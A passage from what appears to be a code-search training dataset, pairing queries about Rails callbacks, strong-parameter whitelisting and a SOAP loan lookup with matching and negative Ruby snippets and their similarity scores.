"0.63209444",
"0.6317565",
"0.63060385",
"0.6296534",
"0.6296402",
"0.62811196",
"0.6263181",
"0.6254089",
"0.6246152",
"0.6242893",
"0.6241119",
"0.62027436",
"0.61969036",
"0.6177255",
"0.6174582",
"0.617363",
"0.6172887",
"0.6169458",
"0.61452776",
"0.61408013",
"0.613946",
"0.61382186",
"0.61328316",
"0.61268973",
"0.61268973",
"0.61208975",
"0.6112005",
"0.6104052",
"0.6100845",
"0.6100068",
"0.6097821",
"0.6085488",
"0.6084077",
"0.60770726",
"0.6076766",
"0.60764873",
"0.60584337",
"0.6045677",
"0.6041752"
] |
0.7729978
|
3
|
Use callbacks to share common setup or constraints between actions.
|
def set_vocab_word
logger.debug "-----set_vocab_word----- " + params[:id].to_s
@vocab_word = VocabWord.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def vocab_word_params
params.require(:vocab_word).permit(:id, :word, :lesson)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Sperimentale, 20 agosto 2021 non ha un reale utilizzo, per ora
|
def soap_get_loans
client = SoapClient::get_wsdl('loan')
soap = :get_patron_active_loans
r = client.call(soap, message: {username:self.opac_username})
return [] if r.body["#{soap}_response".to_sym][:return].nil?
res=r.body["#{soap}_response".to_sym][:return][:item]
return if res.nil?
res.each do |e|
if e.class == Array
next if e.first != :item
e[1].each do |i|
next if !['ManifestationId','Title','ItemId'].include?(i[:key])
puts "A: #{i.inspect}"
end
else
e[:item].each do |i|
next if !['ManifestationId','Title','ItemId'].include?(i[:key])
puts "B: #{i.inspect}"
end
end
end
"test"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def toca_actualizar\n (Time.now.to_date - self.historiales.last.fecha).to_i >= 30\n end",
"def prueba\n #onemonthago = \"> \" + Time.now.to_date.to_s\n #self.historiales.count\n query\n end",
"def scadenza\n if Setting.fee?\n #se l'utente non fa parte di un organismo convenzionato o quella ha una scadenza non valida\n if (self.convention.nil? || self.convention.scadenza.nil? || self.convention.scadenza.year == 0)\n # Lo consideriamo un Privato. Il privato paga lui\n if !self.datascadenza.nil? && self.datascadenza.is_a?(Date)\n return self.datascadenza.to_date\n else\n return nil\n end\n else\n #Altrimenti l'utente è sotto l'umbrella di un organismo convenzionato\n #Utente non Pagante.\n #La data di scadenza è quella di convention.data_scadenza\n #Solo se ancora valida (cf modello convention.scadenza())\n conv_date = self.convention.scadenza.to_date\n if !self.datascadenza.nil? && self.datascadenza.is_a?(Date)\n #TODO verificare se è scaduta < TODAY. altrimenti riportare la data dell'utente\n if conv_date < self.datascadenza.to_date\n return self.datascadenza.to_date\n else\n return conv_date\n end\n else\n return conv_date\n end\n end\n else\n nil\n end\n end",
"def check_verbale(allegato)\n sheet = Roo::Excelx.new(allegato).sheet(0)\n unless $data.between? (sheet.row(9)[1]),(sheet.row(10)[1])\n @errore << \"Il giorno selezionato non rietra tra le date presenti nel verbale #{Pathname.new(allegato).basename}\"\n end\n File.delete(allegato) if File.exist?(allegato)\n end",
"def eligibleRecu(annee = Date.today().year)\n Date.civil(annee, 1, 1).years_ago(16) <= self.naissance\n end",
"def inverso\n Movimiento.where(:importe => self.importe*(-1), :fechaop => (self.fechaop)..(self.fechaop + 7.days))\n end",
"def premiere_ru\n doc.search('td#div_rus_prem_td2 .prem_ical').first.attr 'data-date-premier-start-link' rescue nil\n end",
"def idade\n if nascimento != nil\n now = Time.now.utc.to_date\n now.year - nascimento.year - ((now.month > nascimento.month || (now.month == nascimento.month && now.day >= nascimento.day)) ? 0 : 1)\n else\n '--'\n end \n end",
"def emprestimo_atual\n self.emprestimos.where('data_devolucao IS NULL').first\n end",
"def jugador_actual_en_calle_libre\n casilla_actual = @jugador_actual.casilla_actual\n \n return casilla_actual.soy_edificable && !casilla_actual.titulo.tengo_propietario\n end",
"def formata_data_terceiro_desconto(formato = '%d%m%y')\n data_terceiro_desconto.strftime(formato)\n rescue StandardError\n if formato == '%d%m%y'\n '000000'\n else\n '00000000'\n end\n end",
"def fin\n empl = Employeur.instance\n return @debut + 7 * empl.semaines_par_paie\n end",
"def contas_a_receber_report_table (inicio, fim)\n today = DateTime.now\n\n inicio = today unless inicio > today\n return Lancamento.abertos.receitas.range(inicio, fim)\n .select { valor.as(values) }.select { datavencimento.as(axis) }.select { descricao }\n .order(\"datavencimento\")\n end",
"def atributos\n valid = false\n if self.interreps_vencidos.any?\n valid = true\n\n elsif presente_reunioes == true\n valid = true\n end\n\n # elsif Time.now.year - ano_de_fundacao <= 1 \n # valid = true\n # end\n\n valid\n end",
"def fecha_r\r\n @fecha_r.try(:fecha_recepcion).strftime(\"%d/%m/%Y\")\r\n end",
"def data_geracao\n Date.current.strftime('%d%m%Y')\n end",
"def data_geracao\n Date.current.strftime('%d%m%Y')\n end",
"def citas_agendadas(año, semana)\n init = Date.commercial(year = año, cweek = semana)\n citas = self.schedules.where(date: (init)..(init + 5.days))\n\n semanario = {}\n\n citas.each do |c|\n if semanario[c.date.strftime('%u').to_i].nil? \n semanario[c.date.strftime('%u').to_i] = []\n end\n semanario[c.date.strftime('%u').to_i].append( c.date.strftime('%H').to_i )\n end\n\n semanario\n end",
"def reservation_status_then_showdate ; reserved? ? -(showdate.thedate.to_i) : -1.0e15 ; end",
"def actualizar_privado\n diasUltimaAct = (Time.now.to_date - self.historiales.last.fecha).to_i\n acts = diasUltimaAct / 30\n fechaquery = \"\"\n resultado = 0.0\n acts.times do\n fechaquery = \"BETWEEN '#{self.historiales.last.fecha}' AND '#{(self.historiales.last.fecha + 30.days)}'\"\n resultado = self.connection().execute(query(fechaquery)).first.first # [[value]] -> value\n if resultado == nil\n resultado = 0.0\n end\n self.historiales.create(:fecha => (self.historiales.last.fecha + 30.days), :valor => resultado, :estatus => \"A\")\n end\n end",
